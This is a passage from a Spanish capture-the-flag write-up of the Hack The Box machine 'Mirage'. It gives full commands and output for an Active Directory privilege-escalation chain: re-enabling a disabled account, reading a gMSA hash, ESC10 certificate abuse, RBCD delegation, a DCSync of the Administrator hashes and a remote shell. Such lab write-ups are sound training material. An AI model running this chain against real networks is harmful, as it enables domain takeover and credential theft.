userAccountControl: NORMAL_ACCOUNT; DONT_EXPIRE_PASSWORD
userPrincipalName: javier.mmarshall@mirage.htb
No obstante, seguimos obteniendo un error al tratar de obtener el TGT del usuario javier.mmarshall:
❯ faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" impacket-getTGT mirage.htb/javier.mmarshall:'GunZF0x123$!' -dc-ip 10.129.221.181
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
En nuestra sesión como nathan.aadam podemos subir PowerView.ps1 y revisamos las propiedades del usuario javier.marshall utilizando la función Get-ADUser:
*Evil-WinRM* PS C:\Users\nathan.aadam> upload PowerView.ps1
Info: Uploading /home/gunzf0x/HTB/HTBMachines/Hard/Mirage/content/PowerView.ps1 to C:\Users\nathan.aadam\PowerView.ps1
Data: 1027036 bytes of 1027036 bytes copied
Info: Upload successful!
*Evil-WinRM* PS C:\Users\nathan.aadam> Import-Module .\PowerView.ps1
*Evil-WinRM* PS C:\Users\nathan.aadam> Get-ADUser javier.mmarshall -Properties *
AccountExpirationDate :
accountExpires : 9223372036854775807
AccountLockoutTime :
AccountNotDelegated : False
AllowReversiblePasswordEncryption : False
AuthenticationPolicy : {}
AuthenticationPolicySilo : {}
BadLogonCount : 1
badPasswordTime : 133975685805021939
badPwdCount : 1
CannotChangePassword : True
CanonicalName : mirage.htb/Disabled/Users/javier.mmarshall
Certificates : {}
City :
CN : javier.mmarshall
codePage : 0
<SNIP>
LockedOut : False
logonCount : 13
logonHours : {0, 0, 0, 0...}
LogonWorkstations :
Manager :
MemberOf : {CN=IT_Contractors,OU=Groups,OU=Contractors,OU=IT_Staff,DC=mirage,DC=htb}
MNSLogonAccount : False
<SNIP>
O más específicamente, enfocándonos en el atributo logonHours:
*Evil-WinRM* PS C:\Users\nathan.aadam> Get-ADUser javier.mmarshall -Properties * | Select-Object -expand logonHours
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
Tal cual se explica aquí, una cuenta puede estar “revocada” porque éste puede encontrarse deshabilitada (con la flag que hemos removido anteriormente), expirada, lockeada o limitada por “logon hours”. Este caso es el último ya que el parámetro logonHours está definido en 0 (no se nos permite loguear).
Podemos revisar si mark.bbond puede escribir sobre esta propiedad del usuario javier.mmarshall con bloodyAD:
❯ KRB5CCNAME=mark.bbond.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" bloodyAD --host dc01.mirage.htb -d mirage.htb -k get writable --otype USER --right WRITE --detail
distinguishedName: CN=javier.mmarshall,OU=Users,OU=Disabled,DC=mirage,DC=htb
logonHours: WRITE
userAccountControl: WRITE
<SNIP>
Como podemos ver, podemos editar los atributos userAccountControl y logonHours; ambos atributos pueden ser editados de manera que manera que esta cuenta ya no se encuentre deshabilitada.
javier.mmarshall cada ~15 minutos a su estado original.Para lidiar con esto podemos copiar el atributo logonHours de nuestra cuenta mark.bbond (una cuenta que sabemos que está habilitada) y pasar el valor de éste al atributo logonHours del usuario javier.mmarshall. For this we also create a credential object that is used to authenticate as mark.bbond user:
*Evil-WinRM* PS C:\Users\nathan.aadam> $Cred = New-Object System.Management.Automation.PSCredential('MIRAGE\mark.bbond', $(ConvertTo-SecureString '1day@atime' -AsPlainText -Force))
*Evil-WinRM* PS C:\Users\nathan.aadam> $logonHours = (Get-ADUser mark.bbond -Properties LogonHours -Credential $Cred).LogonHours
*Evil-WinRM* PS C:\Users\nathan.aadam> Set-ADUser -Identity javier.mmarshall -Credential $Cred -Replace @{LogonHours = $logonHours}
Y, en un oneliner, solicitamos un TGT para javier.marshall usando los comandos previamente ejecutados:
❯ KRB5CCNAME=mark.bbond.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" bloodyAD --host dc01.mirage.htb -d mirage.htb -k set password javier.mmarshall 'GunZF0x123$!' && KRB5CCNAME=mark.bbond.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" bloodyAD --host dc01.mirage.htb -d mirage.htb -k remove uac javier.mmarshall -f ACCOUNTDISABLE && faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" impacket-getTGT mirage.htb/javier.mmarshall:'GunZF0x123$!' -dc-ip 10.129.221.181
[+] Password changed successfully!
[-] ['ACCOUNTDISABLE'] property flags removed from javier.mmarshall's
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in javier.mmarshall.ccache
Funcionó. Obtenemos un ticket para el usuario javier.marshall esta vez.
Podemos utilizar este ticket junto con NetExec para abusar del permiso ReadGMSAPassword y leer el hash NTLM de la cuenta de servicio Mirage-Service$:
❯ KRB5CCNAME=javier.mmarshall.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" nxc ldap dc01.mirage.htb -k --use-kcache --gmsa
LDAP dc01.mirage.htb 389 DC01 [*] None (name:DC01) (domain:MIRAGE.HTB) (signing:None) (channel binding:Never) (NTLM:False)
LDAP dc01.mirage.htb 389 DC01 [+] MIRAGE.HTB\javier.mmarshall from ccache
LDAP dc01.mirage.htb 389 DC01 [*] Getting GMSA Passwords
LDAP dc01.mirage.htb 389 DC01 Account: Mirage-Service$ NTLM: 305806d84f7c1be93a07aaf40f0c7866 PrincipalsAllowedToReadPassword: javier.mmarshall
Obtenemos un hash NTLM para esta cuenta de servicio.
Solicitamos un TGT para la cuenta de servicio Mirage-Service$ usando su hash NTLM:
❯ faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" impacket-getTGT mirage.htb/'Mirage-Service$' -hashes ':305806d84f7c1be93a07aaf40f0c7866' -dc-ip 10.129.221.181
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in Mirage-Service$.ccache
Revisamos con NetExec si Active Directory Certificate Services (AD CS) está corriendo en la máquian víctima:
❯ KRB5CCNAME=Mirage-Service\$.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" nxc ldap dc01.mirage.htb -k --use-kcache -M adcs
LDAP dc01.mirage.htb 389 DC01 [*] None (name:DC01) (domain:MIRAGE.HTB) (signing:None) (channel binding:Never) (NTLM:False)
LDAP dc01.mirage.htb 389 DC01 [+] MIRAGE.HTB\Mirage-Service$ from ccache
ADCS dc01.mirage.htb 389 DC01 [*] Starting LDAP search with search filter '(objectClass=pKIEnrollmentService)'
ADCS dc01.mirage.htb 389 DC01 Found PKI Enrollment Server: dc01.mirage.htb
ADCS dc01.mirage.htb 389 DC01 Found CN: mirage-DC01-CA
Está corriendo.
Podemos utilizar Certipy para ver si tenemos certificados vulnerables:
❯ KRB5CCNAME=Mirage-Service\$.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" certipy find -target-ip dc01.mirage.htb -target dc01.mirage.htb -dc-host dc01.mirage.htb -k -no-pass -dc-ip 10.129.221.181 -vulnerable -stdout -enabled
Certipy v5.0.2 - by Oliver Lyak (ly4k)
<SNIP>
[*] Enumeration output:
Certificate Authorities
0
CA Name : mirage-DC01-CA
DNS Name : dc01.mirage.htb
Certificate Subject : CN=mirage-DC01-CA, DC=mirage, DC=htb
Certificate Serial Number : 1512EEC0308E13A146A0B5AD6AA741C9
Certificate Validity Start : 2025-07-04 19:58:25+00:00
Certificate Validity End : 2125-07-04 20:08:25+00:00
Web Enrollment
HTTP
Enabled : False
HTTPS
Enabled : False
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Active Policy : CertificateAuthority_MicrosoftDefault.Policy
Permissions
Owner : MIRAGE.HTB\Administrators
Access Rights
ManageCa : MIRAGE.HTB\Administrators
MIRAGE.HTB\Domain Admins
MIRAGE.HTB\Enterprise Admins
ManageCertificates : MIRAGE.HTB\Administrators
MIRAGE.HTB\Domain Admins
MIRAGE.HTB\Enterprise Admins
Enroll : MIRAGE.HTB\Authenticated Users
Certificate Templates : [!] Could not find any certificate templates
No podemos ver certificados vulnerables. No obstante, y como veremos más tarde, esta máquina es vulnerable a ESC10. Una gran explicación y guía de cómo realizar esta escalada se encuentra en la wiki de Certipy.
Una pequeña “pista” acerca de esta escalada es que la cuenta Mirage-Service$ tiene permisos de escritura sobre el atributo userPrincipalName (UPN) para el usuario mark.bbond -entre otras muchas propiedades-:
❯ KRB5CCNAME=Mirage-Service\$.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" bloodyAD --host dc01.mirage.htb -d mirage.htb -k get writable --otype USER --right WRITE --detail
distinguishedName: CN=mark.bbond,OU=Users,OU=Support,OU=IT_Staff,DC=mirage,DC=htb
manager: WRITE
mail: WRITE
<SNIP>
altSecurityIdentities: WRITE
servicePrincipalName: WRITE
userPrincipalName: WRITE
legacyExchangeDN: WRITE
<SNIP>
Podemos ver userPrincipalName: WRITE, lo cual es suficiente para intentar la escalada ESC10 dado que podemos modificar el parámetro UPN.
Necesitamos así que el atributo UPN de mark.bbond coincida con el de la máquina de cuenta del DC, es decir, dc01$:
❯ KRB5CCNAME=Mirage-Service\$.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" certipy account update -k -no-pass -user 'mark.bbond' -upn 'dc01$'@mirage.htb -target dc01.mirage.htb -dc-host dc01.mirage.htb
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[!] DNS resolution failed: The DNS query name does not exist: dc01.mirage.htb.
[!] Use -debug to print a stacktrace
[*] Updating user 'mark.bbond':
userPrincipalName : dc01$@mirage.htb
[*] Successfully updated 'mark.bbond'
Solicitamos un certificado (.pfx) para el usuario al que le acabamos de modificar el UPN (mark.bbond):
❯ KRB5CCNAME=mark.bbond.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" certipy req -u 'mark.bbond'@mirage.htb -k -no-pass -dc-host dc01.mirage.htb -target dc01.mirage.htb -ca mirage-DC01-CA -template User
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[!] DNS resolution failed: The DNS query name does not exist: dc01.mirage.htb.
[!] Use -debug to print a stacktrace
[*] Requesting certificate via RPC
[*] Request ID is 12
[*] Successfully requested certificate
[*] Got certificate with UPN 'dc01$@mirage.htb'
[*] Certificate object SID is 'S-1-5-21-2127163471-3824721834-2568365109-1109'
[*] Saving certificate and private key to 'dc01.pfx'
[*] Wrote certificate and private key to 'dc01.pfx'
Una vez solicitado, restauramos el UPN del usuario mark.bbond a su valor original:
❯ KRB5CCNAME=Mirage-Service\$.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" certipy account update -k -no-pass -user 'mark.bbond' -upn mark.bbond@mirage.htb -dc-host dc01.mirage.htb -target dc01.mirage.htb
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[!] DNS resolution failed: The DNS query name does not exist: dc01.mirage.htb.
[!] Use -debug to print a stacktrace
[*] Updating user 'mark.bbond':
userPrincipalName : mark.bbond@lab.local
[*] Successfully updated 'mark.bbond'
Usamos el certificado dc01.pfx para entrar en una shell especial (llamada “ldap shell”) utilizando el certificado extraído:
❯ KRB5CCNAME=Mirage-Service\$.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" certipy auth -pfx dc01.pfx -domain mirage.htb -dc-ip 10.129.221.181 -ldap-shell
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN UPN: 'dc01$@mirage.htb'
[*] Security Extension SID: 'S-1-5-21-2127163471-3824721834-2568365109-1109'
[*] Connecting to 'ldaps://10.129.221.181:636'
[*] Authenticated to '10.129.221.181' as: 'u:MIRAGE\\DC01$'
Type help for list of commands
#
Y utilizamos esta shell para agregar una máquina al dominio y otogarle permisos que requieran un ataque Resource-based Constrained Delegation (RBCD):
# add_computer gunzf0x gunzfox123$!
Attempting to add a new computer with the name: gunzf0x$
Inferred Domain DN: DC=mirage,DC=htb
Inferred Domain Name: mirage.htb
New Computer DN: CN=gunzf0x,CN=Computers,DC=mirage,DC=htb
LDAPUnwillingToPerformResult - 53 - unwillingToPerform - None - 0000216D: SvcErr: DSID-031A126C, problem 5003 (WILL_NOT_PERFORM), data 0
- addResponse - None
Pero no somos capaces de realizar esta acción dado que no podemos agregar máquinas al dominio; probablemente porque nuestra machineAccountQuota es 0.
Por tanto, simplemente le damos privilegios para realizar un Resource-based Constrained Delegation (RBCD) a una cuenta de computador/servicio la cual ya hayamos comprometido; la cual es la cuenta Mirage-Service$:
# set_rbcd dc01$ Mirage-Service$
Found Target DN: CN=DC01,OU=Domain Controllers,DC=mirage,DC=htb
Target SID: S-1-5-21-2127163471-3824721834-2568365109-1000
Found Grantee DN: CN=Mirage-Service,CN=Managed Service Accounts,DC=mirage,DC=htb
Grantee SID: S-1-5-21-2127163471-3824721834-2568365109-1112
Currently allowed sids:
S-1-5-21-2127163471-3824721834-2568365109-1109
Delegation rights modified successfully!
Mirage-Service$ can now impersonate users on dc01$ via S4U2Proxy
Luego, podemos utilizar impacket-getST para performar un ataque RBCD. Si tratamos de impersonar al usuario Administrator el ataque falla:
❯ KRB5CCNAME=Mirage-Service\$.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" impacket-getST -spn cifs/DC01.MIRAGE.HTB -impersonate 'Administrator' -dc-ip 10.129.221.181 -k -no-pass mirage.htb/'Mirage-Service$'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[-] Kerberos SessionError: KDC_ERR_BADOPTION(KDC cannot accommodate requested option)
[-] Probably SPN is not allowed to delegate by user Mirage-Service$ or initial TGT not forwardable
No obstante, sí funciona si tratamos de impersonar la cuenta de máquina dc01$ (cuenta de máquina del DC):
❯ KRB5CCNAME=Mirage-Service\$.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" impacket-getST -spn cifs/DC01.MIRAGE.HTB -impersonate 'dc01$' -dc-ip 10.129.221.181 -k -no-pass mirage.htb/'Mirage-Service$'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Impersonating dc01$
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in dc01$@cifs_DC01.MIRAGE.HTB@MIRAGE.HTB.ccache
Dado que este es un ticket para la cuenta dc01$, podemos tratar de realizar un ataque DCSync y obtener un hash del usuario Administrator con impacket-secretsdump:
❯ KRB5CCNAME=dc01\$@cifs_DC01.MIRAGE.HTB@MIRAGE.HTB.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" impacket-secretsdump -k -no-pass dc01.mirage.htb -just-dc-user Administrator
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
mirage.htb\Administrator:500:aad3b435b51404eeaad3b435b51404ee:7be6d4f3c2b9c0e3560f5a29eeb1afb3:::
[*] Kerberos keys grabbed
mirage.htb\Administrator:aes256-cts-hmac-sha1-96:09454bbc6da252ac958d0eaa211293070bce0a567c0e08da5406ad0bce4bdca7
mirage.htb\Administrator:aes128-cts-hmac-sha1-96:47aa953930634377bad3a00da2e36c07
mirage.htb\Administrator:des-cbc-md5:e02a73baa10b8619
[*] Cleaning up...
GG.
Solicitamos un TGT para el usuario Administrator utilizando su hash NTLM:
❯ faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" impacket-getTGT mirage.htb/administrator -hashes ':7be6d4f3c2b9c0e3560f5a29eeb1afb3' -dc-ip 10.129.221.181
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in administrator.ccache
Y accedemos a la máquina víctima como este usuario utilizando una herramienta como wmiexec.py dw Impacket:
❯ KRB5CCNAME=administrator.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" impacket-wmiexec -k -no-pass dc01.mirage.htb
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
mirage\administrator
Podemos extraer la flag de root en el Desktop del usuario Administrator.
~Happy Hacking.
Más allá de Root Link to heading
La razón por la cual esta máquina es vulnerable a ESC10 es debido a que el registro CertificateMappingMethods tiene valor 0x4, lo cual indica un “mapping” que no es fuerte. Podemos revisar este registro utilizando reg.py de Impacket y un ticket de una cuenta privilegiada:
❯ KRB5CCNAME=administrator.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" impacket-reg -k -no-pass dc01.mirage.htb query -keyName 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL
EventLogging REG_DWORD 0x1
CertificateMappingMethods REG_DWORD 0x4
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Ciphers
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\CipherSuites
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Hashes
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\KeyExchangeAlgorithms
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols
[*] Stopping service RemoteRegistry
[-] SCMR SessionError: code: 0x41b - ERROR_DEPENDENT_SERVICES_RUNNING - A stop control has been sent to a service that other running services are dependent on.
Dado que el valor de este registro es 0x4, éste nos permite realizar una escalada ESC10. Por supuesto esto no es posible de saber sin ya ser una cuenta privilegiada, pero en un pentesting de Caja Blanca es recomendable revisar este registro para mitigar este potencial ataque.